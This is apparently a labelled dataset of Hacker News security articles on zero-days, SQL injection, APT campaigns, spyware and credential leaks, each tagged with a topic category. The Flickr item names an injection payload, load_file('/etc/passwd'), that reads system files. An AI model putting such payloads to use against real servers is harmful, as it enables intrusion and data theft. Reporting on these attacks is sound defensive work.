Adobe issues Emergency Flash Player update to patch critical zero-day threat,https://thehackernews.com/2014/02/adobe-issues-emergency-flash-player.html,"Adobe is recommending that users update their Flash Players immediately. The company has published an emergency security bulletin today, that addresses vulnerabilities the Flash Player and released a patch to fix a vulnerability which is currently being exploited in a sophisticated cyber espionage campaign.

""Adobe is aware of reports that an exploit for this vulnerability exists in the wild, and recommends users apply the updates referenced in the security bulletin.""

The vulnerability (CVE-2014-0497), allows an attacker to remotely take control of the targeted system hosting Flash. ""These updates address a critical vulnerability that could potentially allow an attacker to remotely take control of the affected system"" advisory said.

The security hole affects the version 12.0.0.43 and earlier for both Windows and Mac OSs and Adobe Flash Player 11.2.202.335 and earlier versions for Linux.

The vulnerability was discovered by two researchers at Kaspersky Lab, Alexander Polyakov and Anton Ivanov.

The story started some month ago, when the Kaspersky Team discovered a new sophisticated cyber espionage operation which has been going on at least since 2007. The operation dubbed ""The Mask"" hit systems in 27 countries leveraging high-end exploits, the attackers adopted an extremely sophisticated malware which includes a bootkit and rootkit.

The malicious code used is able to infect also Mac and Linux versions and included a customized attack against Kaspersky products.
""This is putting them above Duqu in terms of sophistication, making it one of the most advanced threats at the moment. Most interesting, the authors appear to be native in yet another language which has been observed very rarely in APT attacks. We will present more details about the ""Mask"" APT next week at the Kaspersky Security Analyst Summit 2014 (on Twitter, #TheSAS2014). "" Reports a post on SecureList blog.
Kaspersky Lab provides technical analysis of the exploits and payload. They discovered a total of 11 exploits, using same vulnerability and all are unpacked SWF files in the following versions of Adobe Flash Player:
11.3.372.94
11.3.375.10
11.3.376.12
11.3.377.15
11.3.378.5
11.3.379.14
11.6.602.167
11.6.602.180
11.7.700.169
11.7.700.202
11.7.700.224
These exploits only work with Windows XP, Vista, 2003 R2, 2003, Windows 7, Windows 7x64, Windows 2008 R2, Windows 2008, 8, Windows 8x6, Mac OS 10.6.8.

Researchers discovered that these exploits had been detected on three different user machines, one of which worked under Mac OS 10.6.8 and the other two under Windows 7. They found that .docx document with the 0-day exploit was distributed via a targeted email mailing.
There are total three types of Shellcode:
First one is a primitive shellcode that reads an executable named a.exe from an SWF file and drops it to the hard drive. Only one of the 11 exploits in our possession included a payload.
The second type downloads and executes a file from a URL passed in the SWF file's parameters. The third shellcode type, which is only present in some of the files, is the most interesting.
Adobe was informed of the availability of an exploit in the wild used to hit systems running the Flash Player, it recommends users update product installations to the latest versions:
Users of Adobe Flash Player 12.0.0.43 and earlier versions for Windows and Macintosh should update to Adobe Flash Player 12.0.0.44.
Users of Adobe Flash Player 11.2.202.335 and earlier versions for Linux should update to Adobe Flash Player 11.2.202.336.
Adobe Flash Player 12.0.0.41 installed with Google Chrome will automatically be updated to the latest Google Chrome version, which will include Adobe Flash Player 12.0.0.44 for Windows, Macintosh and Linux.
Adobe Flash Player 12.0.0.38 installed with Internet Explorer 10 will automatically be updated to the latest Internet Explorer 10 version, which will include Adobe Flash Player 12.0.0.44 for Windows 8.0.
Adobe Flash Player 12.0.0.38 installed with Internet Explorer 11 will automatically be updated to the latest Internet Explorer 11 version, which will include Adobe Flash Player 12.0.0.44 for Windows 8.1.
Adobe flash player download

",Vulnerability
Flickr vulnerable to SQL Injection and Remote Code Execution Flaws,https://thehackernews.com/2014/04/flickr-vulnerable-to-sql-injection-and.html,"Yahoo-owned Flickr, one of the biggest online photo management and sharing website in the world was recently impacted by critical web application vulnerabilities, which left website's database and server vulnerable hackers.

Ibrahim Raafat, a security researcher from Egypt has found SQL injection vulnerabilities on Flickr Photo Books, new feature for printing custom photo books through Flickr that was launched 5 months ago.

He claimed to have found two parameters (page_id , items) vulnerable to Blind SQL injection and one (i.e. order_id) Direct SQL Injection that allowed him to query the Flickr database for its content by the injection of a SQL SELECT statements.

A Successful SQL exploitation could allow an attacker to steal the Database and MYSQL administrator password.
Furthermore, Flickr's SQL injection flaws also facilitate the attacker to exploit remote code execution on the server and using load_file(""/etc/passwd"") function he was successfully managed to read the content from the sensitive files on the Flickr server, as shown below:
In addition to this, Ibrahim was able to write new files on the server that let him upload a custom 'code execution shell'.

Video Demonstration:
He reported the vulnerability to Yahoo which have been patched.

Update: Yahoo awarded Ibrahim Raafat with biggest bug bounty payout ever. He received $15,000 for reporting Flickr SQL injection and Remote code execution vulnerability.

",Data_Breaches
Hackers release Windows Phone 8 Malware - to be showcased at MalCon,https://thehackernews.com/2012/11/hackers-release-windows-phone-8-malware.html,"It's be Just hours Windows Phone 8 has been released - and hackers have already dished out a malware prototype for the platform. Windows Phone 8 is the second generation of the Windows Phone mobile operating system.

Windows Phone 8 Microsoft's latest in mobile OS technology - comes in as a direct competition to rivals Apple and Google. The research firm Gartner indicates that by 2016 the increase in Windows Phone users will slightly fall below Apple`s iOS users.

To be showcased at the International Malware Conference, MalCon - on 24th November in India, the prototype has been created by Shantanu Gawde, who has previously created a malware that utilized the famed Xbox Kinect.
Windows Phone 8 replaces its previously Windows CE-based architecture with one based on the Windows NT kernel with many components shared with Windows 8, allowing applications to be easily ported between the two platforms.

While no further details of the malware are available at this point of time, it will be only time before attackers target the platform aggressively to invade users privacy. The research also stresses on that fact that enterprise adoption of mobile security solutions must be taken very seriously as it may have significant impact on business.

The prototype will be shared by the MalCon conference with Anti-virus vendors to help them mitigate similar attacks to an extent.

",Malware
The Vulnerabilities of the Past Are the Vulnerabilities of the Future,https://thehackernews.com/2021/06/the-vulnerabilities-of-past-are.html,"Major software vulnerabilities are a fact of life, as illustrated by the fact that Microsoft has patched between 55 and 110 vulnerabilities each month this year – with 7% to 17% of those vulnerabilities being critical.
May had the fewest vulnerabilities, with a total of 55 and only four considered critical. The problem is that the critical vulnerabilities are things we have seen for many years, like remote code execution and privilege escalation.
Microsoft isn't the only big name regularly patching major vulnerabilities: We see monthly security updates coming from Apple, Adobe, Google, Cisco, and others.
Everything old is new again
With major vulnerabilities in so many applications, is there any hope for a secure future? The answer is, of course, yes, but that does not mean there won't be challenges getting there.
The vulnerabilities being seen may not be new to those of us who have been defending against attackers for years or even decades, but the adversaries continually change their tactics.
It is not uncommon for them to use legitimate resources for nefarious purposes, and it may not always be possible to plan for this misuse when an application is being built.
It's your privilege
With 80% of security breaches involving privileged accounts, a major vulnerability we will increasingly see exploited is privilege escalation. A common tactic of ransomware operators and other threat actors is to achieve elevated privileges on a system to help legitimize their actions and gain access to sensitive data.
If an info stealer has the same access as the current user, the chances of exfiltrating sensitive data are significantly increased. Meanwhile, admin access nearly guarantees access to juicy data.
In addition to keeping software updated, this is where Zero Trust initiatives and data flow monitoring become critical. At a minimum, Zero Trust means that the principle of least privilege should be applied, and multi-factor authentication should be required wherever it is available.
Essentially, this ensures that anyone who does not need access to a system or file cannot access it – while those who do must prove that they are whom they say they are. Monitoring the flow of data can also help catch a breach early on, limiting the amount of data stolen.
Remote control
Remote code execution (RCE) is not going away any time soon. These attacks accounted for around 27% of the attacks in 2020, up from 7% the prior year. If an attacker can find a way to run arbitrary code on your system remotely, they have a lot more control than they would from just getting a user to run a piece of malware with predefined functions unwittingly.
If the attacker can run arbitrary code remotely, they gain the ability to move around the system and possibly the network – enabling them to change their goals and tactics based on what they find.
Behavioral monitoring is one of the best ways to detect RCE on your systems. If an application begins running commands and spinning up processes that are not a part of its normal behaviors, you can put a stop to an attack early on. The fact that RCE is so common also mandates that you keep security patches up-to-date to stop many of these attacks before they even start.
Who needs malware anyway?
Today, a favorite attack method is using legitimate processes and trusted applications to accomplish nefarious goals. These fileless, or living off the land, attacks can be difficult to detect because the malware does not need to be installed.
One of the most common applications to be exploited this way is PowerShell. This makes sense because PowerShell is a powerful application used to script and run system commands.
This is another instance where monitoring the behaviors of applications and processes can be vital in stopping an attack quickly. Does PowerShell really need to disable security features?
In most cases, probably not. Behaviors like this can be monitored, even from trusted applications like PowerShell. Combine this monitoring with advanced machine learning and AI, and you can begin fingerprinting normal behaviors on your network, with automated responses to unusual activity.
Go forth and repeat yourself
While the common types of attacks may not change much, any changes to application or code have the potential to introduce new vulnerabilities. This doesn't mean we should give up and just let the adversaries win – it means that now is the time to double down on our efforts to thwart their attempts.
Implement a patch management strategy, monitor the network, use behavioral detection, and avoid complacency. The fact that major software providers are regularly patching major vulnerabilities is actually a good thing because the attackers are not giving up, so neither should we.

",Vulnerability
Dragonfly Russian Hackers Target 1000 Western Energy Firms,https://thehackernews.com/2014/07/dragonfly-russian-hackers-scada-havex.html,"Gone are the days when cyber criminals focuses only on PCs to spread malwares and target people, whether it's ordinary or a high profile person. Nowadays, organizations in the energy sector have become an interesting target for cyber minds.

Few days ago, security researchers uncovered a Stuxnet-like malware, ""Havex"", which was also programmed to infect industrial control system software of SCADA systems, with the capability to possibly disable hydroelectric dams, overload nuclear power plants, and even shut down a country's power grid with a single keystroke.

RUSSIAN HACKERS HIT 1000 ENERGY FIRMS
Recently, a Russian group of hackers known as 'Energetic Bear' has compromised over 1,000 European and North American energy firms with a sophisticated cyber weapon, similar to Stuxnet, that gave hackers access to power plant control systems, said a security firm.

The group of hackers also known as 'Dragonfly', an eastern European collective that has been active since at least 2011 and has been using phishing sites and Trojans to target energy supplier organizations in the US and several other countries, since 2013.

""Its primary goal appears to be espionage,"" claimed Symantec. The group appears to have the resources, size and organization that no doubt suggest the involvement of government in the malware campaign, said the firm.

According to the blog post published yesterday by security firm Symantec, Dragonfly group mainly targeted petroleum pipeline operators, electricity generation firms and other Industrial Control Systems (ICS) equipment providers for the energy sector in several companies.

SABOTAGE OPERATION
Since 2013, Dragonfly has been targeting organizations that make use of Industrial Control Systems (ICS) to manage electrical, water, oil, gas and data systems, which affected almost 84 countries in a campaign spanning 18 months, although most of the victims were located in the United States, Spain, France, Italy, Germany, Turkey, and Poland.
""Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus mainly to US and European energy firms in early 2013,"" reads the blog post. ""Dragonfly bears the hallmarks of a state-sponsored operation, displaying a high degree of technical capability.""
ATTACK VECTORS
Dragonfly used different techniques to infect industrial software with Remote Access Trojan (RAT) in order to access computer systems, including attaching malware to emails, websites and third-party programs, giving it ""the capability to mount sabotage operations that could have disrupted energy supplies across a number of European countries"".
""The attackers, known to Symantec as Dragonfly, managed to compromise a number of strategically important organizations for spying purposes,"" Symantec said in a blog post. ""If they had used the sabotage capabilities open to them, (they) could have caused damage or disruption to energy supplies in affected countries.""
DRAGONFLY LINKED TO HAVEX, A STUXNET-LIKE WORM
Dragonfly used two hacking outfit, the first one is Backdoor.Oldrea which is used to gather system information, including the computers' Outlook address book and a list of files and programs installed, and the second one is Trojan.Karagany which is used to upload stolen data, download new files and run them on infected computers, the firm said.

The Oldrea backdoor is also known as Havex, about which we reported few days ago. In short, both Oldrea and Karagany malware families allow cyber criminals to gain backdoor access of the infected systems, as well as to exfiltrate confidential data and, download and install additional malware to the systems.

The first powerful malware of this family is the famous Stuxnet Worm, which made international headlines in 2010 and was designed to sabotage the Iranian nuclear project. It specifically targeted a uranium enrichment facility to make the centrifuges spin out of control and cause physical damage to the plant in Natanz, Iran and successfully disabled 1,000 centrifuges that the Iranians were using to enrich uranium.

",Malware
Angry Birds and other Mobile Gaming apps leaking your private information to NSA,https://thehackernews.com/2014/01/angry-birds-and-other-mobile-gaming_27.html,"Are you fond of playing games on your Smartphone like Angry Birds or Subway Surfer?? You should now stop wasting your time, because NSA is utilizing your gaming energy in the best possible way.

According to the latest documents leaked by former U.S. Government contractor Edward Snowden, Some of the world's most popular Smartphone applications are telling British (GCHQ) and American intelligence agencies (NSA) everything about you.

NSA is tapping communication across the Internet of all ""leaky"" apps (Unencrypted app, without SSL connection) to peek into the tremendous amounts of very personal data, including your age, location, sex and even sexual preferences. This is really unacceptable!

The Guardian claims that the NSA and its UK counterpart GCHQ have been developing capabilities to take advantage of these 'leaky' apps, collecting most sensitive information such as sexual orientation and ""even sends specific sexual preferences such as whether or not the user may be a swinger."" Now this is what which blows our minds.

Mobile photo uploading appear to be a particularly rich source of information for the spy agencies as well. One of the recently leaked Slide of NSA's May 2010 Presentation titled ""Golden Nugget!"", explained that how a vast amount of data and metadata, known as EXIF (Exchangeable Image File Format) of mobile users are compromised by simply uploading photos to a social network, such as Facebook, Flickr, LinkedIn, and Twitter from a mobile device.
The document dated 2008 includes the basic effort by GCHQ (Government Communications Headquarters) and the NSA to build a geolocation database of every mobile phone in the world. So, Just by having the tower ID from the mobile, its location could be identified.
""The efforts effectively means that anyone using Google Maps on a Smartphone is working in support of a GCHQ system.""
The Guardian also reported that the NSA has already spent more than $1 Billion in its phone targeting efforts, giving illogical reason that they are trying to defend the country from terrorist attacks and they are spying on only non-US citizens, but the NSA and GCHQ are collecting the info as part of their widespread global data collection effort.


'Uninhibited collection of consumers' personal data by governments hacking into apps is unacceptable,' said the App Developers Alliance President Jon Potter. 'Developers are surprised and disappointed to learn that the personal information entrusted to them by users has been secretly collecting and stored,'.

In a statement, Rovio (maker of Angry Birds game app) VP of marketing and communications, Saara Bergström, told the Guardian:
""Rovio doesn't have any previous knowledge of this matter, and have not been aware of such activity in 3rd party advertising networks. Nor do we have any involvement with the organizations you mentioned.""
But that doesn't mean that developers are blameless. Developers can take more proactive measures to try and encrypt the data obtained from their apps.

Angry Birds is not alone in this, either; Facebook and Twitter were also named in these reports and Google Maps is apparently a major source of information for these agencies as well. The scale and the specifics of the data haul are not clear.

Two weeks back, we published about a secret NSA project DISHFIRE, that collects almost 200 million text messages per day from across the globe and is using them to extract data including location, contact networks and even credit card details.

",Data_Breaches
Collection of 1.4 Billion Plain-Text Leaked Passwords Found Circulating Online,https://thehackernews.com/2017/12/data-breach-password-list.html,"Hackers always first go for the weakest link to quickly gain access to your online accounts.

Online users habit of reusing the same password across multiple services gives hackers opportunity to use the credentials gathered from a data breach to break into their other online accounts.

Researchers from security firm 4iQ have now discovered a new collective database on the dark web (released on Torrent as well) that contains a whopping 1.4 billion usernames and passwords in clear text.

The aggregate database, found on 5 December in an underground community forum, has been said to be the largest ever aggregation of various leaks found in the dark web to date, 4iQ founder and chief technology officer Julio Casal noted in a blog post.

Though links to download the collection were already circulating online over dark-web sites from last few weeks, it took more exposure when someone posted it on Reddit a few days ago, from where we also downloaded a copy and can now verify its authenticity.

Researchers said the 41GB massive archive, as shown below, contains 1.4 billion usernames, email, and password combinations—properly fragmented and sorted into two and three level directories.

The archive had been last updated at the end of November and didn't come from a new breach—but from a collection of 252 previous data breaches and credential lists.
The collective database contains plain text credentials leaked from Bitcoin, Pastebin, LinkedIn, MySpace, Netflix, YouPorn, Last.FM, Zoosk, Badoo, RedBox, games like Minecraft and Runescape, and credential lists like Anti Public, Exploit.in.
""None of the passwords are encrypted, and what's scary is that we've tested a subset of these passwords and most of the have been verified to be true,"" Casal said. ""The breach is almost two times larger than the previous largest credential exposure, the Exploit.in combo list that exposed 797 million records.""
""This new breach adds 385 million new credential pairs, 318 million unique users, and 147 million passwords pertaining to those previous dumps.""
The database has been neatly organized and indexed alphabetically, too, so that would-be hackers with basic knowledge can quickly search for passwords.

For example, a simple search for ""admin,"" ""administrator"" and ""root,"" returned 226,631 passwords used by administrators in a few seconds.

Although some of the breach incidents are quite old with stolen credentials circulating online for some time, the success ratio is still high for criminals, due to users lousy habit of re-using their passwords across different platforms and choosing easy-to-use passwords.

The most common yet worst passwords found in the database are ""123456"", ""123456789"", ""qwerty,"" ""password"" and ""111111.""
It is still unclear who is responsible for uploading the database on the dark web, but whoever it is has included Bitcoin and Dogecoin wallets for any user who wants to donate.

To protect yourself, you are strongly advised to stop reusing passwords across multiple sites and always keep strong and complex passwords for your various online accounts.

If it's difficult for you to remember and create complex passwords for different services, you can make use of the best password manager. We have listed some good password managers that could help you understand the importance of such tool and choose one according to your requirement.

",Data_Breaches
Train-switching system can be vulnerable to DDoS attack,https://thehackernews.com/2011/12/train-switching-system-can-be.html,"Train-switching system can be vulnerable to DDoS attack
Hackers who have shut down websites by overwhelming them with web traffic could use the same approach to shut down the computers that control train switching systems, a security expert said at a hacking conference in Berlin.

Prof. Stefan Katzenbeisser, the man behind this shocking claim made the revelation during his speech at the Chaos Communication Congress hosted by the Berlin. Prof. Katzenbeisser explained that all hell will break lose in case the encryption keys are compromised in the system, used for switching trains from one line to another.

""Trains could not crash, but service could be disrupted for quite some time,"" Katzenbeisser told Reuters on the sidelines of the convention. ""Denial of service"" campaigns are one of the simplest forms of cyber attack: hackers recruit large numbers of computers to overwhelm the targeted system with Internet traffic.

Katzenbeisser said GSM-R, a mobile technology used for trains, is more secure than the usual GSM, used in phones, against which security experts showed a new attack at the convention.""Probably we will be safe on that side in coming years. The main problem I see is a process of changing keys. This will be a big issue in the future, how to manage these keys safely,"" Katzenbeisser said.

Prof Katzenbeisser believes the system is relatively secure from hackers under normal circumstances. However, the computer science expert from Technische Universitat Darmstadt warns that encryption keys, used to protect the communications, could pose risks. It said the risk would occur if one of them fell into the wrong hands. This could allow hackers to mount a denial of service attack by overwhelming the signals system with traffic, forcing it to shut down.

The technology, on which the professor issued the advisory, is already in use in a number of countries in Europe, Africa as well as Asia. A group of manufacturers decided to switch to a single digital standard and developed GSM-Railway, a more secure version of the 2G wireless standard used by mobile phones.
[Source]

",Vulnerability
Pre-Play Vulnerability Allows Chip-and-PIN Payment Card Cloning,https://thehackernews.com/2014/05/pre-play-vulnerability-allows-chip-and.html,"In March this year, we reported that the major card distributor companies, VISA and Mastercard are migrating to EMV chip cards, also known as PIN-and-Chip cards. Unlike traditional magnetic stripe payment cards, EMV chip cards generates a unique code for every transaction, making it nearly* impossible for criminals to use the card for counterfeit fraud.

But Nothing is perfectly secure, even not the PIN-and-Chip based payment cards. All anti-cloning theories were already proven wrong, when a group of researchers found a way to hack the Credit and Debit cards based on the latest Chip-and-Pin technology.

Back in 2012, we reported about a research paper entitled ""Chip and Skim: cloning EMV cards with the pre-play attack"" published (old paper) by team of researchers from the University of Cambridge, UK, who demonstrated that Chip and PIN payment card systems are also vulnerable to Card Cloning.

The same team of researchers presented their EVM related research last Monday at the 2014 IEEE Symposium on Security and Privacy in San Jose, California. But this time they include one more critical vulnerability to the research paper (new modified research paper).

The Group includes Mike Bond, Omar Choudary, Steven J. Murdoch, Sergei Skorobogatov and Ross Anderson from the Computer Science Department. In Total, they presented two critical vulnerabilities in the ""Chip-and-PIN"" smart card payment system that makes EVM vulnerable to ""pre-play"" attack.

PREDICTING SO-CALLED 'UNPREDICTABLE NUMBERS'
EMV devices generate the so-called ""unpredictable numbers"" (UNs) for every transaction, but the researchers claimed that automated teller machines (ATMs) and point-of-sale (POS) terminals fail to properly generate random numbers that are required by the EMV protocol to securely authenticate transaction requests.

Researchers claimed to have found the computation patterns that would allow them to predict the randomly generated numbers. 'EMV implementers have merely used counters, timestamps or home-grown algorithms to supply this nonce.'

The vulnerability could be exploited by the cybercriminals to clone the credit and debit cards in such a manner that even bank procedures won't differentiate between the legitimate and fraud transactions.
NO PIN REQUIRED
They also demonstrated the Proof-of-Concept of another critical vulnerability, known as 'no PIN', which lets criminals use stolen chip and PIN cards without knowing the PIN.

Using a Malware or by performing a man-in-the-middle attack on the communications between a pin terminal and a customer's card allows the hacker to read off sufficient information to create a cloned card.
""The flaw is that when you put a card into a terminal, a negotiation takes place about how the cardholder should be authenticated: using a PIN, using a signature or not at all. This particular subprotocol is not authenticated, so you can trick the card into thinking it's doing a chip-and-signature transaction while the terminal thinks it's chip-and-PIN. The upshot is that you can buy stuff using a stolen card and a PIN of 0000 (or anything you want). We did so, on camera, using various journalists' cards. The transactions went through fine and the receipts say 'Verified by PIN'."" the researcher explained.
CRIMINALS ALREADY USING THIS EXPLOIT
The worst fact about the vulnerability is that, the trick is already known to cyber criminals and fraudsters from past many months and currently they are even equipped with crime-ware hardwares those allow them to clone Chin-and-PIN based cards easily.
The Chip-and-PIN system has a 700-odd page manual, but the researchers says it has so many security holes in it, the whole thing should be re-written.

The adoption of EVM payment system is in the response to the massive data breach in one of the U.S largest retailers 'Target', marked the largest card heists in the U.S. history in which financial credentials of more than 110 million customers were compromised.

The data heist in various US retailers have forced them to take some major steps towards more secure transactions and they move on to the new Chip-and-Pin technology. However, Chip-and-Pin payment system is considered to be a safer than the ""card swipe"" payment system, but that doesn't mean it is fully protected. Cyber Criminals are just behind you every time to fetch your money, so be alert.

",Malware
"FBI Hacked into 8,000 Computers in 120 Countries Using A Single Warrant",https://thehackernews.com/2016/11/fbi-hacker.html,"The FBI hacked into more than 8,000 computers in 120 different countries with just a single warrant during an investigation into a dark web child pornography website, according to a newly published court filings.

This FBI's mass hacking campaign is related to the high-profile child pornography Playpen case and represents the largest law enforcement hacking campaign known to date.

The warrant was initially issued in February 2015 when the FBI seized the Playpen site and set up a sting operation on the dark web site, in which the agency deployed malware to obtain IP addresses from alleged site's visitors.

The piece of malware used by the FBI is known as a Network Investigative Technique (NIT). The malware was used for at least 13 days to break into the computer of users who visited certain threads on Playpen and then sent their IP addresses back to the bureau.

Earlier this year, court documents related to the Playpen case revealed that the FBI hacked over 1,000 alleged visitors of Playpen in the U.S. using a single warrant, along with computers in Australia, Chile, Colombia, Austria, Denmark, Greece, the UK, Turkey, and Norway during the investigation.

However, the new federal court hearing transcript from a related case reveals that the hack went much further farther and wider than previously believed and that the bureau actually hacked into more than 8,000 users' computers across 120 different countries.

""We have never, in our nation's history as far as I can tell, seen a warrant so utterly sweeping,"" federal public defender Colin Fieman said in a court hearing at the end of October, according to the transcript.

According to the transcript, the FBI also hacked what has been described as a ""satellite provider."" ""So now we are into outer space as well,"" Fieman said.

""The fact that a single magistrate judge could authorise the FBI to hack 8,000 people in 120 countries is truly terrifying,"" Christopher Soghoian, a principal technologist at the American Civil Liberties Union (ACLU), told Motherboard.

The major controversy surrounding the Playpen case has been that Virginia-based US Magistrate Judge Theresa C. Buchanan who signed the warrant did not have the authority to authorize such searches.

The fact is that the magistrate judges are a more junior type of judges who don't actually have jurisdiction to issue warrants outside their own districts. Only more senior federal judges, known as district judges, have the authority to issue such warrants under Rule 41.

However, this would likely change with the changes introduced to the Rule 41 of the Federal Rules of Criminal Procedure by the US Department of Justice.

Changes to Rule 41 will Further Expand FBI's Mass Hacking Capabilities

The changes to Rule 41 will grant the FBI much greater powers to hack into any computer within the country, and perhaps anywhere in the world, with just a single search warrant authorized by any US judge (even magistrate judges).

The changes in this rule are set to take effect on December 1, 2016.
""The US government wants to use an obscure procedure—amending a federal rule known as Rule 41— to radically expand their authority to hack,"" the Electronic Frontier Foundation (EFF) said. ""The changes to Rule 41 would make it easier for them to break into our computers, take data, and engage in remote surveillance.""
However, the DoJ further defended the changes to Rule 41 in a Monday blog post.

""We believe technology shouldn't create a lawless zone merely because a procedural rule has not kept up with the times,"" writes Assistant Attorney General Leslie R. Caldwell of the Criminal Division.

If take into effect, privacy activists and cybersecurity experts believe that the US law enforcement will most likely use the changes to Rule 41 to further expand their capabilities of mass hacking techniques.

",Malware
26 Android Phone Models Shipped with Pre-Installed Spyware,https://thehackernews.com/2015/09/android-smartphone-malware.html,"Bought a brand new Android Smartphone? Don't expect it to be a clean slate.

A new report claims that some rogue retailers are selling brand-new Android smartphones loaded with pre-installed software.

Security firm G Data has uncovered more than two dozens of Android smartphones from popular smartphone manufacturers — including Xiaomi, Huawei and Lenovo — that have pre-installed spyware in the firmware.

G Data is a German security firm that disclosed last year the Star N9500 Smartphone's capability to spy on users, thereby comprising their personal data and conversations without any restrictions and users knowledge.

Removal of Spyware Not Possible

The pre-installed spyware, disguised in popular Android apps such as Facebook and Google Drive, can not be removed without unlocking the phone since it resides inside the phone's firmware.
""Over the past year, we have seen a significant [growth] in devices that are equipped with firmware-level [malware and spyware] out of the box which can take a wide range of unknown and unwanted actions,"" Product Manager Christian Geschkat from G Data said in a statement.

Spyware Capabilities

The spyware is capable of doing the following actions:
Listening in to telephone conversations
Accessing the Internet
Viewing and copy contacts
Installing unwanted apps
Asking for location data
Taking and copying images
Recording conversations using the microphone
Sending and reading SMS/MMS
Disabling Anti-Virus software
Listening in to chats via messaging services (Skype, Viber, WhatsApp, Facebook and Google+)
Reading the browser history


Third-Party Vendors or Intelligence Agency?

Unlike the Star devices, the security firm suspects third party vendors or middlemen (retailers) and not the manufacturers to be behind modifying the device firmware to steal user data and inject advertisements to earn money.

The possibilities may also include unintentional infection via compromised devices in the supply chain or intentional interference by government intelligence agencies.

Affected Brands

The affected Smartphone brands include Xiaomi, Huawei, Lenovo, Alps, ConCorde, DJC, Sesonn and Xido. Most of the suspected models are sold in Asia and Europe.

However, this isn't the first time Chinese handsets come with pre-installed spyware. Back in March, the mobile security firm Bluebox found pre-loaded malware on Xiaomi Mi4 LTE. To which Xiaomi said the compromised handsets were high-quality counterfeits.

Late last year, researchers from Palo Alto Networks discovered that the high-end devices from Coolpad came pre-installed with the backdoor, dubbed ""CoolReaper,"" sold exclusively in China and Taiwan.

",Malware
China's Cyberspies Targeting Southeast Asian Government Entities,https://thehackernews.com/2021/07/chinas-cyberspies-targeting-southeast.html,"A sweeping and ""highly active campaign"" that originally set its sights on Myanmar has broadened its focus to strike a number of targets located in the Philippines, according to new research.
Russian cybersecurity firm Kaspersky, which first spotted the infections in October 2020, attributed them to a threat actor it tracks as ""LuminousMoth,"" which it connected with medium to high confidence to a Chinese state-sponsored hacking group called HoneyMyte or Mustang Panda, given its observed victimology, tactics, and procedures.
About 100 affected victims have been identified in Myanmar, while the number of victims jumped to nearly 1,400 in the Philippines, although the researchers noted that the actual targets were only a fraction of the initial numbers, including government entities located both within the two countries and abroad.
The goal of the attacks is to affect a wide perimeter of targets with the aim of hitting a select few that are of strategic interest, researchers Mark Lechtik, Paul Rascagneres, and Aseel Kayal said. Put differently, the intrusions are simultaneously wide-ranging and narrow-focused, enabling the threat acor to siphon intelligence from high-profile targets.
The infection vector used in the campaign involves sending a spear-phishing email to the victim containing a Dropbox download link that, when clicked, leads to a RAR archive that's designed to mimic a Word document. The archive file, for its part, comes with two malicious DLL libraries (""version.dll"" and ""wwlib.dll"") and two corresponding executable files that run the malware.
Upon successfully gaining a foothold, an alternative infection chain observed by Kaspersky leverages removable USB drives to propagate the malware to other hosts with the help of ""version.dll"". On the other hand, the purpose of ""wwlib.dll"" is to download a Cobalt Strike beacon on the compromised Windows system from a remote attacker-controlled domain.
In some instances, the attacks incorporated an extra step wherein the threat actor deployed a post-exploitation tool in the form of a signed-but-rogue version of Zoom video conferencing app, using it to hoover sensitive files to a command-and-control server. A valid digital certificate was used to sign the software in an effort to pass off the tool as benign. Also spotted on some infected machines was a second post-exploitation utility that steals cookies from Google Chrome browser.
LuminousMoth's malicious cyber operations and its possible ties to Mustang Panda APT may also be an attempt to shift tactics and update their defensive measures by re-tooling and developing new and unknown malware implants, Kaspersky noted, thus potentially obscuring any ties to their past activities and blurring their attribution to known groups.
""APT actors are known for the frequently targeted nature of their attacks. Typically, they will handpick a set of targets that in turn are handled with almost surgical precision, with infection vectors, malicious implants and payloads being tailored to the victims' identities or environment,"" Kaspersky researchers said.
""It's not often we observe a large-scale attack conducted by actors fitting this profile, usually due to such attacks being noisy, and thus putting the underlying operation at risk of being compromised by security products or researchers.""

",Cyber_Attack
"Hey, Apple User! Check If You are also Affected by the Sparkle Vulnerability",https://thehackernews.com/2016/02/apple-security-vulnerability.html,"A pair of new security vulnerabilities has been discovered in the framework used by a wide variety of Mac apps leaves them open to Man-in-the-Middle (MitM) attacks.

The framework in question is Sparkle that a large number of third-party OS X apps, including Camtasia, uTorrent, Duet Display and Sketch, use to facilitate automatic updates in the background.

Sparkle is an open source software available on GitHub under the permissive MIT license by the Sparkle Project with the help of numerous of valuable contributors. The framework supports Mac OS X versions 10.7 through 10.11 and Xcode 5.0 through 7.0.


The Sparkle vulnerabilities, discovered by Radek, a security researcher, in late January and reported by Ars reporter, affect Apple Mac apps that use:
An outdated and vulnerable version of the Sparkle updater framework.
An unencrypted HTTP channel to receive info from update servers.

What's the Issue?

The first loophole is due to the improper implementation of Sparkle Updater framework by the app developers.

The app developers are using an unencrypted HTTP URL to check for new updates, rather than an SSL encrypted channel.

As a result, an attacker in the same network could perform MitM attacks and inject malicious code into the communication between the end user and the server, potentially allowing an attacker to gain full control of your computer.

Video Proof-of-Concept Attack

You can watch the proof-of-concept (PoC) attack video that shows a working attack conducted against a vulnerable version of the Sequel Pro app:

Another proof-of-concept attack was shared by fellow researcher Simone Margaritelli using an older version of VLC Media Player, which has now been updated to patch the vulnerability.

Margaritelli showed how he exploited the flaw on a fully patched Mac running a then-latest version of VLC media player using a technique that streamlines the attack by letting it work with the Metasploit exploit framework.

Another less severe bug in Sparkle has also been discovered by Radek that could be exploited against poorly configured update servers, potentially allowing an attacker to replace an update file with a malicious one.
The Sparkle vulnerabilities affected both Mac OS X Yosemite and the most recent version of OS X El Capitan.

Who's Affected?

The Sparkle vulnerabilities affects third-party apps outside of the Mac App Store, which is downloaded from the Internet manually by the user and uses an outdated version of the Sparkle.

Although the actual number of affected apps is not known, Radek estimated the number could be ""huge.""

Among the affected apps are uTorrent (version 1.8.7), Camtasia 2 (version 2.10.4), Sketch (version 3.5.1), and DuetDisplay (version 1.5.2.4).

Check if You're Affected

Check this list of apps that use Sparkle Updater framework. If you have installed any of these apps on your Apple Mac, you could probably be at risk of being hacked.

Note: Not all of the listed apps communicate over unencrypted HTTP channels or use an outdated version of the framework.

How to Protect Yourself against the Issues?

Although Sparkle has provided a fix for both the vulnerabilities in the newest version of the Sparkle Updater, it is not so easy to install the patch.

Radek warns in an email that the major problem is that developers who created their apps are required to update Sparkle framework inside their apps, which is not trivial.

As the update process requires a developer to:
Download the latest version of Sparkle Updater
Check if the latest version of Sparkle is compatible with their app
Create some test cases, verify update and others
Address this security issue and publish new version of their app
Once this completes, users can check for the app update and download the newest version of the particular app on their computers.

